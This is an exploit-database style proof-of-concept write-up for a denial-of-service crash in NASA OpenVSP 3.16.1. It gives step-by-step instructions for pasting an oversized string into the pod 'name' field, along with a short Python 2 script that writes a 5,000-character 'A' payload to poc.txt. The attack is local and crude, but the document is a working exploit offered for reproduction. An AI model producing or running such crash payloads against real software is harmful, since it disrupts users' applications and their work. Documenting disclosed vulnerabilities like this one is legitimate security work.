# Exploit Title: NASA openVSP 3.16.1 - Denial of Service (PoC)
# Exploit Author : L0RD
# Date: 2018-08-28
# Vendor Homepage : https://software.nasa.gov/software/LAR-17491-1
# Software link: https://github.com/nasa/OpenVSP
# Version: 3.16.1
# Tested on: Windows 10
# CVE: N/A
 
# Description :
# The Vehicle Sketch Pad (VSP) is an aircraft geometry tool for rapid
# evaluation of advanced design concepts.
# for more information , check out this page :
# https://software.nasa.gov/featuredsoftware/openvsp
 
# Steps to reproduce:
# 1) Run the python exploit code and open "poc.txt" file
# 2) Copy the content of file
# 3) Open "vsp.exe"
# 4) Navigate to "Geom browser" and click on Add
# 5) Then Navigate to "pod" and click on sub
# 6) Click on "Add" and paste the content of "poc.txt" into the "name" field
# 7) Click on add and Crash!
 
#!/usr/bin/python
 
buffer = "A" * 5000
payload = buffer
try:
    f=open("poc.txt","w")
    print "[+] Creating %s bytes payload..." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"